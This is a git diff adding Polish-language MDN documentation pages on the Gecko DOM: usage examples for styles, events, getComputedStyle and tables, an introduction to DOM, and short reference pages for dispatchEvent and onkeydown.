+<h3 id="Przyk.C5.82ad_3:_Manipulacja_stylami" name="Przyk.C5.82ad_3:_Manipulacja_stylami">Przykład 3: Manipulacja stylami</h3>
+
+<p>W tym prostym przykładzie, niektóre podstawowe własności stylów elementu znacznika HTML są dostępne przy zastosowaniu obiektów stylu elementu i obiektów własności stylu CSS, który może być odzyskiwany i ustawiany z DOM. W tym przypadku manipulujemy bezpośrednio pojedynczym stylem. W następnym przykładzie (zobacz <a href="#Przyk.C5.82ad_4:_Zastosowanie_styl.C3.B3w">przykład 4</a>), zastosujemy arkusz stylów i jego reguły do zmiany stylów w dokumentach wokół.</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html lang="pl"&gt;
+&lt;head&gt;
+&lt;title&gt;Zmiana koloru i rozmiaru czcionki w przykładzie&lt;/title&gt;
+
+&lt;script&gt;
+function changeText() {
+ var p = document.getElementById("pid");
+
+ p.style.color = "blue"
+ p.style.fontSize = "18pt"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;p id="pid" onclick="window.location.href = 'http://www.cnn.com/';"&gt;linker&lt;/p&gt;
+
+&lt;form&gt;
+ &lt;p&gt;&lt;input value="rec" type="button" onclick="changeText();"&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Przyk.C5.82ad_4:_Zastosowanie_styl.C3.B3w" name="Przyk.C5.82ad_4:_Zastosowanie_styl.C3.B3w">Przykład 4: Zastosowanie stylów</h3>
+
+<p>Własność obiektu dokumentu styleSheets zwraca listę arkusza stylów wczytanego do tegoż dokumentu. Można uzyskać dostęp do indywidualnych własności arkusza stylów używając obiektów stylesheet, style oraz CSSRule jak zademonstrowano w poniższym przykładzie, który wyświetla selektory reguł stylu na konsole.</p>
+
+<pre>var ss = document.styleSheets;
+
+for(var i=0; i &lt; ss.length; i++) {
+ for(var j=0; j &lt; ss[i].cssRules.length; j++) {
+ console.log(ss[i].cssRules[j].selectorText + "\n" );
+ }
+}
+</pre>
+
+<p>Dla dokumentu posiadającego tylko jeden styl, dla którego zdefiniowano 3 poniższe reguły:</p>
+
+<pre class="eval">body { background-color: darkblue; }
+p { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+</pre>
+
+<p>Wynik skryptu będzie następujący:</p>
+
+<pre class="eval">BODY
+P
+#LUMPY
+</pre>
+
+<h3 id="Przyk.C5.82ad_5:_Propagowanie_zdarze.C5.84" name="Przyk.C5.82ad_5:_Propagowanie_zdarze.C5.84">Przykład 5: Propagowanie zdarzeń</h3>
+
+<p>Poniższy przykład demonstruje w prosty sposób jak zainicjować zdarzenia oraz ich obsługę przez DOM. Kiedy BODY tegoż dokumentu zostanie załadowany nasłuch zdarzeń zostaje zarejestrowany w pierwszym rzędzie TABLE. Nasłuch zdarzeń obsługuje zdarzenie przez wykonanie funkcji l_func, która zmienia wartość dolnej komórki tabeli.</p>
+
+<p>Jednakże, l_func wywołuje również metodę obiektu zdarzenia <a href="pl/DOM/event.stopPropagation">event.stopPropagation</a> powstrzymującą zdarzenie od dalszego "mieszania" w DOM-ie. Zauważ, że sama tabela posiada uchwyt zdarzenia <a href="pl/DOM/element.onclick">onclick</a>, który powinien wyświetlić powiadomienie w przypadku kliknięcia na tabelę. Metoda l_func powstrzymała propagacje, tak wiec po zaktualizowaniu danych tabeli faza zdarzenia została zakończona.</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html lang="pl"&gt;
+&lt;head&gt;
+ &lt;title&gt;Propagowanie zdarzeń&lt;/title&gt;
+ &lt;style&gt;
+ #t-daddy { border: 1px solid red }
+ #t1 { background-color: pink; }
+ &lt;/style&gt;
+ &lt;script&gt;
+ function stopEvent(e) {
+ t2 = document.getElementById("t2");
+ t2.innerHTML = "hej";
+ // this ought to keep t-daddy from getting the click.
+ e.stopPropagation();
+   alert("propagowanie zdarzeń zatrzymane.");
+ }
+ function load() {
+ el = document.getElementById("t");
+ el.addEventListener("click", stopEvent, false);
+ }
+ &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="load();"&gt;
+
+&lt;table id="t-daddy" onclick="alert('hi');"&gt;
+ &lt;tr id="t"&gt;
+ &lt;td id="t1"&gt;jeden&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td id="t2"&gt;dwa&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Przyk.C5.82ad_6:_getComputedStyle" name="Przyk.C5.82ad_6:_getComputedStyle">Przykład 6: getComputedStyle</h3>
+
+<p>Poniższy przykład demonstruje jak użyć metody DOM document.defaultView.getComputedStyle() do pobrania stylu elementu, który nie jest zgodny z językiem JavaScript (np., elementReference.style.backgroundColor="rgb(173, 216, 230)"). Typy stylów można pobrać w bardziej bezpośredni sposób style = własności elementReference.style, których lista własności przedstawiona jest <a href="pl/DOM/style">DOM Style Reference</a> książki (patrz <a href="pl/DOM/CSS">DOM CSS Properties List</a>). Zobacz również własności stylów w <a href="pl/DOM/element">DOM Elements Reference</a>. getComputedStyle() zwraca obiekt ComputedCSSStyleDeclaration, którego własności stylów można związać z metodą getPropertyValue() obiektu, jak pokazuje poniższy przykład dokumentu.</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html lang="pl"&gt;
+&lt;head&gt;
+
+&lt;title&gt;Przykład getComputedStyle&lt;/title&gt;
+
+&lt;script&gt;
+function cStyles() {
+ var RefDiv = document.getElementById("d1");
+
+ var txtHeight = document.getElementById("t1");
+ var h_style =
+document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+ txtHeight.value = h_style;
+
+ var txtWidth = document.getElementById("t2");
+ var w_style =
+document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+ txtWidth.value = w_style;
+
+ var txtBackgroundColor = document.getElementById("t3");
+ var b_style =
+document.defaultView.getComputedStyle(RefDiv,
+null).getPropertyValue("background-color");
+ txtBackgroundColor.value = b_style;
+ }
+ &lt;/script&gt;
+
+ &lt;style&gt;
+ #d1 { margin-left: 10px; background-color: rgb(173, 216, 230);
+height: 20px; max-width: 20px; }
+ &lt;/style&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;div id="d1"&gt;&amp;nbsp;&lt;/div&gt;
+
+&lt;form action=""&gt;
+&lt;p&gt;&lt;button type="button" onclick="cStyles();"&gt;getComputedStyle&lt;/button&gt;
+ height&lt;input id="t1" type="text" value="1"&gt;
+ max-width&lt;input id="t2" type="text" value="2"&gt;
+ bg-color&lt;input id="t3" type="text" value="3"&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Przyk.C5.82ad_7:_Wy.C5.9Bwietlanie_sta.C5.82ych_obiektu_zdarzenia" name="Przyk.C5.82ad_7:_Wy.C5.9Bwietlanie_sta.C5.82ych_obiektu_zdarzenia">Przykład 7: Wyświetlanie stałych obiektu zdarzenia</h3>
+
+<p>Przykład pokazuje jak używając DOM można stworzyć tabele zawierającą zarówno wszystkie stałe obiektu zdarzenia jak i ich wartości. Pokazuje kilka ciekawych aspektów DOM, włączając w to własność Event.prototype pozwalającą uzyskać dostęp do własności danego obiektu, dobry wzorzec iteracji przez własności tegoż prototypu oraz same wartości stałych wyświetlanych w tabeli. Zauważ, że środkowy zakres zmiennych to kody znaków reprezentujące klawisze wciśnięte podczas zdarzenia (i do pobrania za pomocą własności charCode). Załaduj poniższy kod jako stronę www, aby zobaczyć stale obiektu zdarzenia.</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="utf-8"&gt;
+&lt;title&gt;Show Event properties&lt;/title&gt;
+
+&lt;style&gt;
+ table {border-collapse: collapse;}
+ thead {font-weight: bold;}
+ td {padding: 2px 10px 2px 10px;}
+ .odd {background-color: #efdfef;}
+ .even {background-color: #ffffff;}
+&lt;/style&gt;
+
+&lt;script&gt;
+
+function showEventProperties(e) {
+ function addCell(row, text) {
+ var cell = row.insertCell(-1);
+ cell.appendChild(document.createTextNode(text));
+ }
+
+ var e = e || window.event;
+ document.getElementById('eventType').innerHTML = e.type;
+
+ var table = document.createElement('table');
+ var thead = table.createTHead();
+ var row = thead.insertRow(-1);
+ var lableList = ['#', 'Property', 'Value'];
+ var len = lableList.length;
+
+ for (var i=0; i&lt;len; i++) {
+ addCell(row, lableList[i]);
+ }
+
+ var tbody = document.createElement('tbody');
+ table.appendChild(tbody);
+
+ for (var p in e) {
+ row = tbody.insertRow(-1);
+ row.className = (row.rowIndex % 2)? 'odd':'even';
+ addCell(row, row.rowIndex);
+ addCell(row, p);
+ addCell(row, e[p]);
+ }
+
+ document.body.appendChild(table);
+}
+window.onload = function(event){
+ showEventProperties(event);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;h1&gt;Properties of the DOM &lt;span id="eventType"&gt;&lt;/span&gt; Event Object&lt;/h1&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h3 id="Przyk.C5.82ad_8:_Zastosowanie_interfejsu_DOM_Table" name="Przyk.C5.82ad_8:_Zastosowanie_interfejsu_DOM_Table">Przykład 8: Zastosowanie interfejsu DOM Table</h3>
+
+<p>Interfejs DOM HTMLTableElement dostarcza kilku wygodnych metod do tworzenia i modyfikacji tabeli. Dwoma często stosowanymi metodami są <code><a href="pl/DOM/table.insertRow">table.insertRow</a></code> i <code><a href="pl/DOM/tableRow.insertCell">row.insertCell</a></code>.</p>
+
+<p>Aby dodać wiersz i kilka komórek do istniejącej tabeli:</p>
+
+<pre>&lt;table id="table0"&gt;
+ &lt;tr&gt;
+ &lt;td&gt;Row 0 Cell 0&lt;/td&gt;
+ &lt;td&gt;Row 0 Cell 1&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;script&gt;
+
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell, text;
+
+for (var i=0; i&lt;2; i++) {
+ cell = row.insertCell(-1);
+ text = 'Row ' + row.rowIndex + ' Cell ' + i;
+ cell.appendChild(document.createTextNode(text));
+}
+&lt;/script&gt;
+</pre>
+
+<h4 id="Uwagi" name="Uwagi">Uwagi</h4>
+
+<ul>
+ <li>A table's <code><a href="pl/DOM/element.innerHTML">innerHTML</a></code> property should never be used to modify a table, although you can use it to write an entire table or the content of a cell.</li>
+ <li>If DOM Core methods <code><a href="pl/DOM/document.createElement">document.createElement</a></code> and <code><a href="pl/DOM/element.appendChild">element.appendChild</a></code> are used to create rows and cells, IE requires that they are appended to a tbody element, whereas other browsers will allow appending to a table element (the rows will be added to the last tbody element).</li>
+ <li>There are a number of other convenience methods belonging to the <a href="pl/DOM/table#Metody">table interface</a> that can be used for creating and modifying tables.</li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Gecko_DOM_Reference/Examples", "es": "es/Referencia_DOM_de_Gecko/Ejemplos", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Exemples", "ja": "ja/Gecko_DOM_Reference/Examples" } ) }}</p>
diff --git a/files/pl/dokumentacja_gecko_dom/wprowadzenie/index.html b/files/pl/dokumentacja_gecko_dom/wprowadzenie/index.html
new file mode 100644
index 0000000000..2ffb9814a7
--- /dev/null
+++ b/files/pl/dokumentacja_gecko_dom/wprowadzenie/index.html
@@ -0,0 +1,171 @@
+---
+title: Wprowadzenie
+slug: Dokumentacja_Gecko_DOM/Wprowadzenie
+tags:
+ - DOM
+ - Gecko
+translation_of: Web/API/Document_Object_Model/Introduction
+---
+<p>Ten rozdział ma dać ogólne pojęcie o <a href="pl/DOM">DOM</a>: co to jest, o strukturze dla dokumentów <a href="pl/HTML">HTML</a> i <a href="pl/XML">XML</a>, jak korzystać z DOM oraz w jaki sposób przedstawiona będzie dokumentacja i przykłady.</p>
+
+<h2 id="Czym_jest_DOM.3F" name="Czym_jest_DOM.3F">Czym jest DOM?</h2>
+
+<p><b>Model obiektowy dokumentu</b> (ang. Document Object Model, DOM) stanowi API dla dokumentów HTML i XML. Odpowiada za dwie rzeczy: zapewnia reprezentację struktury dokumentu oraz określa, w jaki sposób odnosić się do tej struktury z poziomu skryptu. DOM przedstawia stronę jako strukturyzowaną grupę węzłów, co omówimy pokrótce. W gruncie rzeczy, DOM łączy stronę ze skryptami bądź językami programowania.</p>
+
+<p>Zauważ, że DOM nie jest konkretną aplikacją czy produktem. Jest raczej interfejsem, API, które twórcy oprogramowania muszą zaimplementować, jeśli chcą spełniać standard W3C DOM. Mały przykład: każda przeglądarka internetowa musi zwracać wszystkie elementy <code>&lt;P&gt;</code> ze strony HTML jako tablicę węzłów, kiedy poniższy skrypt wywoła metodę <code>getElementsByTagName</code>:</p>
+
+<pre>paragraphs = document.getElementsByTagName("P");
+// paragraphs[0] to pierwszy element &lt;p&gt;
+// paragraphs[1] - drugi element &lt;p&gt;, etc.
+alert(paragraphs[0].nodeName);
+</pre>
+
+<p>Wszystkie metody, właściwości i wydarzenie dostępne dla webmastera w celu manipulowania lub tworzenia stron są zorganizowane w obiekty (np. obiekt <code>document</code>, reprezentujący sam dokument, obiekt <code>table</code>, implementujący specjalny interfejs DOM <code>HTMLTableElement</code>, który umożliwia dostęp do tabel w HTML, itd.) Niniejsza dokumentacja przedstawia opis każdego z obiektów w tym API.</p>
+
+<h2 id="DOM_vs._JavaScript" name="DOM_vs._JavaScript">DOM vs. JavaScript</h2>
+
+<p>Powyższy przykład, jak i inne w tej dokumentacji, napisano w <a href="pl/JavaScript">JavaScript</a>. Ściślej, został on
+
+ <i>napisany</i>
+ w JavaScript, ale
+
+ <i>korzysta</i>
+ z DOM, by manipulować stroną i jej elementami. DOM nie jest sam w sobie językiem programowania, ale bez niego język JavaScript nie miałby żadnego odniesienia do stron czy dokumentów XML i ich elementów. Każdy z elementów - jak nagłówek, tabele, nagłówki tabel, komórki tych tabel, tekst w tych komórkach - są częściami obiektowego modelu tego konkretnego dokumentu i, za pomocą DOM, język taki jak JavaScript może nimi operować.</p>
+
+<p>DOM zaprojektowano tak, by był niezależny od języka programowania, dzięki czemu reprezentacja struktury dokumentu dostępna jest poprzez jedno, spójne API. W niniejszej dokumentacji skupimy się wyłącznie na JavaScripcie, jednak można stworzyć implementację DOM dla dowolnego języka - poniżej przykład w Pythonie:</p>
+
+<pre class="eval"># Przykład: DOM w Pythonie
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # DOM - własność obiektu document;
+p_list = doc.getElementsByTagName("para");
+</pre>
+
+<h2 id="Jak_korzysta.C4.87_z_DOM.3F" name="Jak_korzysta.C4.87_z_DOM.3F">Jak korzystać z DOM?</h2>
+
+<p>Aby zacząć korzystać z DOM, nie musisz robić nic szczególnego. Różne przeglądarki różnią się implementacją DOM, implementacje wykazują różny stopień zgodności z faktycznym standardem DOM (jest to kwestia, której staramy się unikać w niniejszej dokumentacji), ale każda przeglądarka używa jakiegoś obiektowego modelu dokumentu, by dać dostęp do strony z poziomu skryptu.</p>
+
+<p>Kiedy tworzysz nowy skrypt - niezależnie, czy jest to on zagnieżdżony w elemencie <code>&lt;SCRIPT&gt;</code>, czy też załączony do strony w odpowiedni sposób - możesz od razu zacząć korzystać z API dla elementów <code>document</code> lub <code>window</code> by manipulować samym dokumentem lub by przechwycić któregoś z potomków - elementów strony. Programowanie w DOM może być tak proste jak poniższy przykład, który wykorzystuje metodę <code>alert()</code> obiektu <code>window</code>, może jednak korzystać z bardziej skomplikowanych metod, by tworzyć nową zawartość - tak jak w drugim z poniższych przykładów.</p>
+
+<pre class="eval">&lt;body onload="window.alert('Witaj!');"&gt;
+</pre>
+
+<p>Niezależnie od elementu <code>&lt;script&gt;</code>, w którym poniższy skrypt jest zdefiniowany, kod ten tworzy nowy element H1, dodaje do niego tekst, a następnie włącza <code>H1</code> do drzewa dokumentu.</p>
+
+<pre class="eval">&lt;html&gt;
+&lt;script&gt;
+ // create a couple of elements
+ // in an otherwise empty HTML page
+ heading = document.createElement("h1");
+ heading_text = document.createTextNode("Big Head!");
+ heading.appendChild(heading_text);
+ document.body.appendChild(heading);
+&lt;/script&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Wa.C5.BCne_typy_danych" name="Wa.C5.BCne_typy_danych">Ważne typy danych</h2>
+
+<h2 id="Interfejsy_DOM" name="Interfejsy_DOM">Interfejsy DOM</h2>
+
+<p>Założeniem tego przewodnika jest ograniczenie do minimum dyskusji o abstrakcyjnych interfejsach, dziedziczeniu i innych szczegółach implementacji, a zamiast tego omówienie obiektów w DOM, faktycznych
+ <i>bytów</i>
+ , jakich możesz użyć do manipulowania hierarchią DOM. Z punktu widzenia programisty zwykle nie jest istotne, że obiekt reprezentujący element HTML <code>FORM</code> pobiera własność <b>name</b> z interfejsu <code>HTMLFormElement</code>, a własność <b>className</b> z interfejsu <code>HTMLElement</code>. W obu przypadkach własność, która Ciebie interesuje, znajduje się po prostu w obiekcie <code>form</code>.</p>
+
+<p>Jednakże zależność między obiektami a interfejsami, jakie one implementują, może być myląca, dlatego w tym podrozdziale spróbujemy powiedzieć coś o faktycznych interfejsach w specyfikacji DOM oraz o tym, w jaki sposób są one dostępne.</p>
+
+<h3 id="Interfejsy_a_obiekty" name="Interfejsy_a_obiekty">Interfejsy a obiekty</h3>
+
+<p>W niektórych przypadkach obiekt przedstawia tylko jeden interfejs, jednak z reguły obiekty - takie jak np. <code>table</code> - reprezentują kilka różnych interfejsów. Dla przykładu - <code>table</code> implementuje specjalny interfejs <code>HTMLTableElement</code>, który zawiera metody takie jak XXX i YYY. Ponieważ jednak jest to element HTML, <code>table</code> implementuje też interfejs <code>Element</code>, opisany w rozdziale <a href="pl/DOM/element">Obiekt element</a>. I wreszcie, ponieważ element HTML jest, jeśli mówimy o DOM, węzłem w drzewie węzłów, jakie tworzy obiektowy model strony internetowej czy XML, element <code>table</code> implementuje także bardziej podstawowy interfejs <code>Node</code>, z którego wywodzi się <code>Element</code>.</p>
+
+<p>Kiedy otrzymasz referencję do obiektu <code>table</code>, tak jak w poniższym przykładzie, używasz zazwyczaj zamiennie wszystkich trzech interfejsów, być może nawet o tym nie wiedząc.</p>
+
+<pre>var table = document.getElementById("table");
+var tableAttrs = table.attributes; // interfejs Node/Element
+for(var i = 0; i &lt; tableAttrs.length; i++){
+ // interfejs HTMLTableElement: atrybut border
+ if(tableAttrs[i].nodeName.toLowerCase() == "border")
+ table.setAttribute("border", "1");
+}
+// interfejs HTMLTableElement: atrybut summary
+table.summary = "uwaga: zwiększono obramowanie";
+</pre>
+
+<h3 id="Najwa.C5.BCniejsze_interfejsy_w_DOM" name="Najwa.C5.BCniejsze_interfejsy_w_DOM">Najważniejsze interfejsy w DOM</h3>
+
+<p>W tej części wymienione zostaną niektóre z najczęściej używanych interfejsów DOM. Celem nie jest opisanie, co wymienione API robią, ale raczej by dać Tobie ogólne pojęcie o rodzajach metod i własności, jakie będziesz często widywał, używając DOM. Te API wykorzystano także w <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">przykładach</a>, jakie znajdziesz na końcu tej dokumentacji.</p>
+
+<p>Obiekty <code>document</code> i <code>window</code> to obiekty, których interfejsy będziesz najczęściej wykorzystywał w programowaniu przy użyciu DOM. W prostych słowach, <code>window</code> reprezentuje coś takiego jak przeglądarka, zaś <code>document</code> jest początkiem, górą całego dokumentu. <code>Element</code> dziedziczy z ogólnego interfejsu <code>Node</code>, zaś razem te dwa interfejsy odpowiadają za wiele metod i własności, jakich będziesz używał na konkretnych elementach. Elementy te mogą mieć też własne, osobne interfejsy, służące do obsługi konkretnego rodzaju danych, jaki przechowują - tak jak na przykład wspomniany wcześniej obiekt <code>table</code>.</p>
+
+<p>Poniżej krótka lista najczęściej używanych API w skryptach wykorzystujących DOM.</p>
+
+<ul>
+ <li><code><a href="pl/DOM/document.getElementById">document.getElementById</a>(id)</code></li>
+ <li><code>element.<a href="pl/DOM/element.getElementsByTagName">getElementsByTagName</a>(name)</code></li>
+ <li><code><a href="pl/DOM/document.createElement">document.createElement</a>(name)</code></li>
+ <li><code>parentNode.<a href="pl/DOM/element.appendChild">appendChild</a>(node)</code></li>
+ <li><code>element.<a href="pl/DOM/element.innerHTML">innerHTML</a></code></li>
+ <li><code>element.<a href="pl/DOM/element.style">style</a>.left</code></li>
+ <li><code>element.<a href="pl/DOM/element.setAttribute">setAttribute</a></code></li>
+ <li><code>element.<a href="pl/DOM/element.getAttribute">element.getAttribute</a></code></li>
+ <li><code>element.<a href="pl/DOM/element.addEventListener">addEventListener</a></code></li>
+ <li><code><a href="pl/DOM/window.content">window.content</a></code></li>
+ <li><code><a href="pl/DOM/window.onload">window.onload</a></code></li>
+ <li><code><a href="pl/DOM/window.dump">window.dump</a></code></li>
+ <li><code><a href="pl/DOM/window.scrollTo">window.scrollTo</a></code></li>
+</ul>
+
+<h2 id="Testowanie_DOM_API" name="Testowanie_DOM_API">Testowanie DOM API</h2>
+
+<p>W dokumentacji tej znajdziesz do każdego interfejsu przykłady wykorzystania. W niektórych przypadkach są to kompletne strony HTML, działające z poziomu elementu <code>&lt;script&gt;</code>, z elementami (jak np. przyciski) niezbędnymi do uruchomienia skryptu, jak również elementami, którymi operuje DOM. W takim przypadku możesz po prostu skopiować przykład, wkleić go do nowego pliku, zapisać i uruchomić w przeglądarce.</p>
+
+<p>Jednakże, w wielu przypadkach przykłady są bardziej zwięzłe. Aby uruchomić kod, który pokazuje proste relacje między interfejsem a elementami HTML, możesz chcieć stworzyć stronę testową. Poniżej znajdziesz właśnie taką, prostą stronę do testów - funkcje testujące możesz umieścić w znaczniku <code>&lt;script&gt;</code> w nagłówku, umieszczono też kilka elementów wraz z atrybutami, którymi możesz swobodnie manipulować, a także interfejs użytkownika, pozwalający wywoływać funkcje testowe z poziomu przeglądarki.</p>
+
+<p>Możesz skorzystać z tej strony testowej lub stworzyć własną. Możesz zmieniać w razie potrzeby treść skryptu, dodać przyciski czy elementy.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;DOM Tests&lt;/title&gt;
+&lt;script type="application/x-javascript"&gt;
+function setBodyAttr(attr,value){
+ if(document.body) eval('document.body.'+attr+'="'+value+'"');
+ else notSupported();
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;div style="margin: .5in; height="400""&gt;
+&lt;p&gt;&lt;b&gt;&lt;tt&gt;text&lt;/tt&gt; color&lt;/p&gt;
+&lt;form&gt;
+&lt;select onChange="setBodyAttr('text',
+ this.options[this.selectedIndex].value);"&gt;
+&lt;option value="black"&gt;black
+&lt;option value="darkblue"&gt;darkblue
+&lt;/select&gt;
+ &lt;p&gt;&lt;b&gt;&lt;tt&gt;bgColor&lt;/tt&gt;&lt;/p&gt;
+ &lt;select onChange="setBodyAttr('bgColor',
+ this.options[this.selectedIndex].value);"&gt;
+&lt;option value="white"&gt;white
+&lt;option value="lightgrey"&gt;gray
+ &lt;/select&gt;
+&lt;p&gt;&lt;b&gt;&lt;tt&gt;link&lt;/tt&gt;&lt;/p&gt;
+&lt;select onChange="setBodyAttr('link',
+ this.options[this.selectedIndex].value);"&gt;
+&lt;option value="blue"&gt;blue
+&lt;option value="green"&gt;green
+&lt;/select&gt;  &lt;small&gt;
+ &lt;a href="http://www.brownhen.com/dom_api_top.html" id="sample"&gt;
+(sample link)&lt;/a&gt;&lt;/small&gt;&lt;br&gt;
+&lt;/form&gt;
+&lt;form&gt;
+ &lt;input type="button" value="version" onclick="ver()" /&gt;
+&lt;/form&gt;
+&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><img alt="Przykładowa strona testowa DOM"><br>
+ By przetestować więcej interfejsów na jednej stronie - np. komplet własności zmieniających kolory strony - możesz stworzyć podobną stronę z całą konsolą przycisków, pól tekstowych i innych elementów HTML. Poniższy zrzut ekranu przedstawia przykładowy pomysł pogrupowania interfejsów do testów.</p>
+
+<p>W tym przykładzie rozwijalne menu dynamicznie podmieniają takie aspekty strony jak kolor tła (<code>bgColor</code>), kolory linków (<code>aLink</code>), tekstu (<code>text</code>). Niezależnie od tego, jak zaprojektujesz swoją stronę testową - testowanie interfejsów jest ważnym elementem efektywnej nauki DOM.</p>
diff --git a/files/pl/dom/dispatchevent_-_przykład/index.html b/files/pl/dom/dispatchevent_-_przykład/index.html
new file mode 100644
index 0000000000..45be3346ca
--- /dev/null
+++ b/files/pl/dom/dispatchevent_-_przykład/index.html
@@ -0,0 +1,33 @@
+---
+title: dispatchEvent - przykład
+slug: DOM/dispatchEvent_-_przykład
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/Guide/Events/Creating_and_triggering_events
+---
+<div class="noinclude">
+ {{ ApiRef() }}</div>
+<p>Poniższy przykład przedstawia symulację kliknięcia w pole wyboru opartą o metody DOM. Możesz zobaczyć <a class="external" href="http://developer.mozilla.org/samples/domref/dispatchEvent.html">przykład w działaniu</a>.</p>
+<pre class="eval">function simulateClick() {
+ var evt = <a href="pl/DOM/document.createEvent">document.createEvent</a>("MouseEvents");
+ evt.<a href="pl/DOM/event.initMouseEvent">initMouseEvent</a>("click", true, true, window,
+ 0, 0, 0, 0, 0, false, false, false, false, 0, null);
+ var cb = document.getElementById("checkbox");
+ var canceled = !cb.<a href="pl/DOM/element.dispatchEvent">dispatchEvent</a>(evt);
+ if(canceled) {
+ // metoda obsługi zdarzenia wywołała preventDefault
+ alert("canceled");
+ } else {
+ // nie wywołano preventDefault
+ alert("not canceled");
+ }
+}
+</pre>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/dispatchEvent_example", "es": "es/DOM/dispatchEvent_example", "fr": "fr/DOM/dispatchEvent_exemple" } ) }}</p>
diff --git a/files/pl/dom/element.onkeydown/index.html b/files/pl/dom/element.onkeydown/index.html
new file mode 100644
index 0000000000..a7064fa2b0
--- /dev/null
+++ b/files/pl/dom/element.onkeydown/index.html
@@ -0,0 +1,24 @@
+---
+title: element.onkeydown
+slug: DOM/element.onkeydown
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/GlobalEventHandlers/onkeydown
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność <b>onkeydown</b> zawiera kod obsługi zdarzenia <code>keydown</code> dla bieżącego elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">kod obsługi zdarzenia = element.onkeydown
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zdarzenie <code>keydown</code> wywoływane jest, gdy użytkownik naciska klawisz na klawiaturze.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.onkeydown", "fr": "fr/DOM/element.onkeydown" } ) }}</p>
diff --git a/files/pl/dom/index.html b/files/pl/dom/index.html
new file mode 100644
index 0000000000..f1b71c7b00
--- /dev/null
+++ b/files/pl/dom/index.html
@@ -0,0 +1,65 @@
+---
+title: DOM
+slug: DOM
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Document_Object_Model
+---
+<div class="callout-box">
+ <b><a href="/pl/docs/U%c5%bcycie_W3C_DOM_poziom_1">Użycie W3C DOM poziom 1</a></b><br>
+ Wprowadzenie do W3C DOM.</div>
+<div>
+ <p><b>DOM (ang. <i>Document Object Model</i>, obiektowy model dokumentu)</b> to API dla dokumentów <a href="/pl/docs/HTML">HTML</a> i <a href="/pl/docs/XML">XML</a>. Wprowadza strukturalne odwzorowanie dokumentu, pozwalając modyfikować jego zawartość i warstwę prezentacji. Podsumowując, DOM łączy strony WWW ze skryptami lub innymi językami programowania.</p>
+</div>
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 class="Documentation" id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2>
+ <dl>
+ <dt>
+ <a href="/pl/docs/O_modelu_obiektowym_dokumentu">O obiektowym modelu dokumentu</a></dt>
+ <dd>
+ Krótkie wprowadzenie do DOM.</dd>
+ <dt>
+ <a href="/pl/docs/Dokumentacja_Gecko_DOM">Dokumentacja Gecko DOM</a></dt>
+ <dd>
+ Pełna dokumentacja DOM wraz z jego implementacją w Gecko.</dd>
+ <dt>
+ <a href="/pl/docs/Dynamiczne_zmiany_interfejsu_u%c5%bcytkownika_bazuj%c4%85cego_na_XUL-u">Dynamiczne zmiany interfejsu użytkownika bazującego na XUL-u</a></dt>
+ <dd>
+ Podstawy manipulacji interfejsem użytkownika w XUL za pomocą metod DOM.</dd>
+ <dt>
+ <a href="/pl/docs/DOM_i_JavaScript">DOM i JavaScript</a></dt>
+ <dd>
+ Czym jest DOM? Co to jest JavaScript? Co zrobić, aby zastosować je razem na własnej stronie? Ten dokument odpowiada na te pytania i na wiele innych.</dd>
+ <dt>
+ <a class="external" href="http://www.mozilla.org/docs/dom/">Obiektowy model dokumentu w Mozilli</a></dt>
+ <dd>
+ Starsza wersja dokumentacji DOM, hostowane na mozilla.org.</dd>
+ </dl>
